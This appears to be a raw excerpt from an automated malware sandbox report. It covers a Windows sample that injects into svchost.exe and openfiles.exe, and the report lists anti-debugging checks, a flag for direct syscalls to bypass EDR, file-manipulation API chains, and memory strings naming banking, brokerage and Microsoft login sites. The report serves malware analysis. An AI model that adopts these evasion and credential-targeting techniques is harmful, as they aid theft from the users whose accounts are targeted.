Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	3_2_00434BEE
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_0045DD7C FindFirstFileW,FindClose,	3_2_0045DD7C
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	3_2_0044BD29
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,	3_2_00436D2D
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	3_2_00442E1F
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	3_2_00475FE5
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	3_2_0044BF8D
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030DC2A0 FindFirstFileW,FindNextFileW,FindClose,	12_2_030DC2A0

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

3_2_0040E470

Source: w2-0G0-7.12.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696503903~
Source: w2-0G0-7.12.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696503903
Source: w2-0G0-7.12.dr	Binary or memory string: tasks.office.comVMware20,11696503903o
Source: MqYVUkmlJNkso.exe, 0000000D.00000002.3741391001.000000000090F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllZ
Source: w2-0G0-7.12.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696503903z
Source: w2-0G0-7.12.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903^
Source: w2-0G0-7.12.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696503903}
Source: w2-0G0-7.12.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696503903x
Source: w2-0G0-7.12.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696503903h
Source: w2-0G0-7.12.dr	Binary or memory string: bankofamerica.comVMware20,11696503903x
Source: w2-0G0-7.12.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696503903]
Source: w2-0G0-7.12.dr	Binary or memory string: global block list test formVMware20,11696503903
Source: w2-0G0-7.12.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696503903\|UE
Source: w2-0G0-7.12.dr	Binary or memory string: ms.portal.azure.comVMware20,11696503903
Source: w2-0G0-7.12.dr	Binary or memory string: interactivebrokers.comVMware20,11696503903
Source: w2-0G0-7.12.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696503903u
Source: w2-0G0-7.12.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903
Source: w2-0G0-7.12.dr	Binary or memory string: AMC password management pageVMware20,11696503903
Source: w2-0G0-7.12.dr	Binary or memory string: turbotax.intuit.comVMware20,11696503903t
Source: w2-0G0-7.12.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696503903}
Source: 3NvALxFlHV.exe, 00000003.00000002.1298844535.00000000008EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: }\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: w2-0G0-7.12.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696503903x
Source: w2-0G0-7.12.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696503903
Source: w2-0G0-7.12.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696503903
Source: firefox.exe, 0000000E.00000002.1899243832.000002531983C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllee#PP
Source: w2-0G0-7.12.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696503903p
Source: w2-0G0-7.12.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696503903n
Source: w2-0G0-7.12.dr	Binary or memory string: outlook.office365.comVMware20,11696503903t
Source: w2-0G0-7.12.dr	Binary or memory string: outlook.office.comVMware20,11696503903s
Source: w2-0G0-7.12.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696503903
Source: openfiles.exe, 0000000C.00000002.3738224214.0000000003379000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll=
Source: w2-0G0-7.12.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696503903d
Source: w2-0G0-7.12.dr	Binary or memory string: dev.azure.comVMware20,11696503903j
Source: w2-0G0-7.12.dr	Binary or memory string: discord.comVMware20,11696503903f
Source: w2-0G0-7.12.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696503903

Source: C:\Users\user\Desktop\3NvALxFlHV.exe	API call chain: ExitProcess graph end node			graph_3-84846
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	API call chain: ExitProcess graph end node			graph_3-84967

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 7_2_0347096E rdtsc

7_2_0347096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 7_2_00417783 LdrLoadDll,

7_2_00417783

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_0045A259 BlockInput,

3_2_0045A259

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,

3_2_0040D6D0

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_0040EB70 LoadLibraryA,GetProcAddress,

3_2_0040EB70

Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_03E27528 mov eax, dword ptr fs:[00000030h]	3_2_03E27528
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_03E274C8 mov eax, dword ptr fs:[00000030h]	3_2_03E274C8
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_03E25E88 mov eax, dword ptr fs:[00000030h]	3_2_03E25E88
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B2349 mov eax, dword ptr fs:[00000030h]	7_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B2349 mov eax, dword ptr fs:[00000030h]	7_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B2349 mov eax, dword ptr fs:[00000030h]	7_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B2349 mov eax, dword ptr fs:[00000030h]	7_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B2349 mov eax, dword ptr fs:[00000030h]	7_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B2349 mov eax, dword ptr fs:[00000030h]	7_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B2349 mov eax, dword ptr fs:[00000030h]	7_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B2349 mov eax, dword ptr fs:[00000030h]	7_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B2349 mov eax, dword ptr fs:[00000030h]	7_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B2349 mov eax, dword ptr fs:[00000030h]	7_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B2349 mov eax, dword ptr fs:[00000030h]	7_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B2349 mov eax, dword ptr fs:[00000030h]	7_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B2349 mov eax, dword ptr fs:[00000030h]	7_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B2349 mov eax, dword ptr fs:[00000030h]	7_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B2349 mov eax, dword ptr fs:[00000030h]	7_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B035C mov eax, dword ptr fs:[00000030h]	7_2_034B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B035C mov eax, dword ptr fs:[00000030h]	7_2_034B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B035C mov eax, dword ptr fs:[00000030h]	7_2_034B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B035C mov ecx, dword ptr fs:[00000030h]	7_2_034B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B035C mov eax, dword ptr fs:[00000030h]	7_2_034B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B035C mov eax, dword ptr fs:[00000030h]	7_2_034B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034FA352 mov eax, dword ptr fs:[00000030h]	7_2_034FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034D8350 mov ecx, dword ptr fs:[00000030h]	7_2_034D8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034D437C mov eax, dword ptr fs:[00000030h]	7_2_034D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346A30B mov eax, dword ptr fs:[00000030h]	7_2_0346A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346A30B mov eax, dword ptr fs:[00000030h]	7_2_0346A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346A30B mov eax, dword ptr fs:[00000030h]	7_2_0346A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342C310 mov ecx, dword ptr fs:[00000030h]	7_2_0342C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03450310 mov ecx, dword ptr fs:[00000030h]	7_2_03450310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034EC3CD mov eax, dword ptr fs:[00000030h]	7_2_034EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343A3C0 mov eax, dword ptr fs:[00000030h]	7_2_0343A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343A3C0 mov eax, dword ptr fs:[00000030h]	7_2_0343A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343A3C0 mov eax, dword ptr fs:[00000030h]	7_2_0343A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343A3C0 mov eax, dword ptr fs:[00000030h]	7_2_0343A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343A3C0 mov eax, dword ptr fs:[00000030h]	7_2_0343A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343A3C0 mov eax, dword ptr fs:[00000030h]	7_2_0343A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034383C0 mov eax, dword ptr fs:[00000030h]	7_2_034383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034383C0 mov eax, dword ptr fs:[00000030h]	7_2_034383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034383C0 mov eax, dword ptr fs:[00000030h]	7_2_034383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034383C0 mov eax, dword ptr fs:[00000030h]	7_2_034383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B63C0 mov eax, dword ptr fs:[00000030h]	7_2_034B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DE3DB mov eax, dword ptr fs:[00000030h]	7_2_034DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DE3DB mov eax, dword ptr fs:[00000030h]	7_2_034DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DE3DB mov ecx, dword ptr fs:[00000030h]	7_2_034DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DE3DB mov eax, dword ptr fs:[00000030h]	7_2_034DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034D43D4 mov eax, dword ptr fs:[00000030h]	7_2_034D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034D43D4 mov eax, dword ptr fs:[00000030h]	7_2_034D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034403E9 mov eax, dword ptr fs:[00000030h]	7_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034403E9 mov eax, dword ptr fs:[00000030h]	7_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034403E9 mov eax, dword ptr fs:[00000030h]	7_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034403E9 mov eax, dword ptr fs:[00000030h]	7_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034403E9 mov eax, dword ptr fs:[00000030h]	7_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034403E9 mov eax, dword ptr fs:[00000030h]	7_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034403E9 mov eax, dword ptr fs:[00000030h]	7_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034403E9 mov eax, dword ptr fs:[00000030h]	7_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0344E3F0 mov eax, dword ptr fs:[00000030h]	7_2_0344E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0344E3F0 mov eax, dword ptr fs:[00000030h]	7_2_0344E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0344E3F0 mov eax, dword ptr fs:[00000030h]	7_2_0344E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034663FF mov eax, dword ptr fs:[00000030h]	7_2_034663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342E388 mov eax, dword ptr fs:[00000030h]	7_2_0342E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342E388 mov eax, dword ptr fs:[00000030h]	7_2_0342E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342E388 mov eax, dword ptr fs:[00000030h]	7_2_0342E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345438F mov eax, dword ptr fs:[00000030h]	7_2_0345438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345438F mov eax, dword ptr fs:[00000030h]	7_2_0345438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03428397 mov eax, dword ptr fs:[00000030h]	7_2_03428397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03428397 mov eax, dword ptr fs:[00000030h]	7_2_03428397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03428397 mov eax, dword ptr fs:[00000030h]	7_2_03428397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B8243 mov eax, dword ptr fs:[00000030h]	7_2_034B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B8243 mov ecx, dword ptr fs:[00000030h]	7_2_034B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342A250 mov eax, dword ptr fs:[00000030h]	7_2_0342A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03436259 mov eax, dword ptr fs:[00000030h]	7_2_03436259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034EA250 mov eax, dword ptr fs:[00000030h]	7_2_034EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034EA250 mov eax, dword ptr fs:[00000030h]	7_2_034EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03434260 mov eax, dword ptr fs:[00000030h]	7_2_03434260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03434260 mov eax, dword ptr fs:[00000030h]	7_2_03434260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03434260 mov eax, dword ptr fs:[00000030h]	7_2_03434260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342826B mov eax, dword ptr fs:[00000030h]	7_2_0342826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034E0274 mov eax, dword ptr fs:[00000030h]	7_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034E0274 mov eax, dword ptr fs:[00000030h]	7_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034E0274 mov eax, dword ptr fs:[00000030h]	7_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034E0274 mov eax, dword ptr fs:[00000030h]	7_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034E0274 mov eax, dword ptr fs:[00000030h]	7_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034E0274 mov eax, dword ptr fs:[00000030h]	7_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034E0274 mov eax, dword ptr fs:[00000030h]	7_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034E0274 mov eax, dword ptr fs:[00000030h]	7_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034E0274 mov eax, dword ptr fs:[00000030h]	7_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034E0274 mov eax, dword ptr fs:[00000030h]	7_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034E0274 mov eax, dword ptr fs:[00000030h]	7_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034E0274 mov eax, dword ptr fs:[00000030h]	7_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342823B mov eax, dword ptr fs:[00000030h]	7_2_0342823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343A2C3 mov eax, dword ptr fs:[00000030h]	7_2_0343A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343A2C3 mov eax, dword ptr fs:[00000030h]	7_2_0343A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343A2C3 mov eax, dword ptr fs:[00000030h]	7_2_0343A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343A2C3 mov eax, dword ptr fs:[00000030h]	7_2_0343A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343A2C3 mov eax, dword ptr fs:[00000030h]	7_2_0343A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034402E1 mov eax, dword ptr fs:[00000030h]	7_2_034402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034402E1 mov eax, dword ptr fs:[00000030h]	7_2_034402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034402E1 mov eax, dword ptr fs:[00000030h]	7_2_034402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346E284 mov eax, dword ptr fs:[00000030h]	7_2_0346E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346E284 mov eax, dword ptr fs:[00000030h]	7_2_0346E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B0283 mov eax, dword ptr fs:[00000030h]	7_2_034B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B0283 mov eax, dword ptr fs:[00000030h]	7_2_034B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B0283 mov eax, dword ptr fs:[00000030h]	7_2_034B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034402A0 mov eax, dword ptr fs:[00000030h]	7_2_034402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034402A0 mov eax, dword ptr fs:[00000030h]	7_2_034402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034C62A0 mov eax, dword ptr fs:[00000030h]	7_2_034C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034C62A0 mov ecx, dword ptr fs:[00000030h]	7_2_034C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034C62A0 mov eax, dword ptr fs:[00000030h]	7_2_034C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034C62A0 mov eax, dword ptr fs:[00000030h]	7_2_034C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034C62A0 mov eax, dword ptr fs:[00000030h]	7_2_034C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034C62A0 mov eax, dword ptr fs:[00000030h]	7_2_034C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034C4144 mov eax, dword ptr fs:[00000030h]	7_2_034C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034C4144 mov eax, dword ptr fs:[00000030h]	7_2_034C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034C4144 mov ecx, dword ptr fs:[00000030h]	7_2_034C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034C4144 mov eax, dword ptr fs:[00000030h]	7_2_034C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034C4144 mov eax, dword ptr fs:[00000030h]	7_2_034C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342C156 mov eax, dword ptr fs:[00000030h]	7_2_0342C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034C8158 mov eax, dword ptr fs:[00000030h]	7_2_034C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03436154 mov eax, dword ptr fs:[00000030h]	7_2_03436154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03436154 mov eax, dword ptr fs:[00000030h]	7_2_03436154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DE10E mov eax, dword ptr fs:[00000030h]	7_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DE10E mov ecx, dword ptr fs:[00000030h]	7_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DE10E mov eax, dword ptr fs:[00000030h]	7_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DE10E mov eax, dword ptr fs:[00000030h]	7_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DE10E mov ecx, dword ptr fs:[00000030h]	7_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DE10E mov eax, dword ptr fs:[00000030h]	7_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DE10E mov eax, dword ptr fs:[00000030h]	7_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DE10E mov ecx, dword ptr fs:[00000030h]	7_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DE10E mov eax, dword ptr fs:[00000030h]	7_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DE10E mov ecx, dword ptr fs:[00000030h]	7_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DA118 mov ecx, dword ptr fs:[00000030h]	7_2_034DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DA118 mov eax, dword ptr fs:[00000030h]	7_2_034DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DA118 mov eax, dword ptr fs:[00000030h]	7_2_034DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DA118 mov eax, dword ptr fs:[00000030h]	7_2_034DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034F0115 mov eax, dword ptr fs:[00000030h]	7_2_034F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03460124 mov eax, dword ptr fs:[00000030h]	7_2_03460124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034F61C3 mov eax, dword ptr fs:[00000030h]	7_2_034F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034F61C3 mov eax, dword ptr fs:[00000030h]	7_2_034F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034AE1D0 mov eax, dword ptr fs:[00000030h]	7_2_034AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034AE1D0 mov eax, dword ptr fs:[00000030h]	7_2_034AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034AE1D0 mov ecx, dword ptr fs:[00000030h]	7_2_034AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034AE1D0 mov eax, dword ptr fs:[00000030h]	7_2_034AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034AE1D0 mov eax, dword ptr fs:[00000030h]	7_2_034AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_035061E5 mov eax, dword ptr fs:[00000030h]	7_2_035061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034601F8 mov eax, dword ptr fs:[00000030h]	7_2_034601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03470185 mov eax, dword ptr fs:[00000030h]	7_2_03470185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034EC188 mov eax, dword ptr fs:[00000030h]	7_2_034EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034EC188 mov eax, dword ptr fs:[00000030h]	7_2_034EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034D4180 mov eax, dword ptr fs:[00000030h]	7_2_034D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034D4180 mov eax, dword ptr fs:[00000030h]	7_2_034D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B019F mov eax, dword ptr fs:[00000030h]	7_2_034B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B019F mov eax, dword ptr fs:[00000030h]	7_2_034B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B019F mov eax, dword ptr fs:[00000030h]	7_2_034B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B019F mov eax, dword ptr fs:[00000030h]	7_2_034B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342A197 mov eax, dword ptr fs:[00000030h]	7_2_0342A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342A197 mov eax, dword ptr fs:[00000030h]	7_2_0342A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342A197 mov eax, dword ptr fs:[00000030h]	7_2_0342A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03432050 mov eax, dword ptr fs:[00000030h]	7_2_03432050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B6050 mov eax, dword ptr fs:[00000030h]	7_2_034B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345C073 mov eax, dword ptr fs:[00000030h]	7_2_0345C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B4000 mov ecx, dword ptr fs:[00000030h]	7_2_034B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034D2000 mov eax, dword ptr fs:[00000030h]	7_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034D2000 mov eax, dword ptr fs:[00000030h]	7_2_034D2000
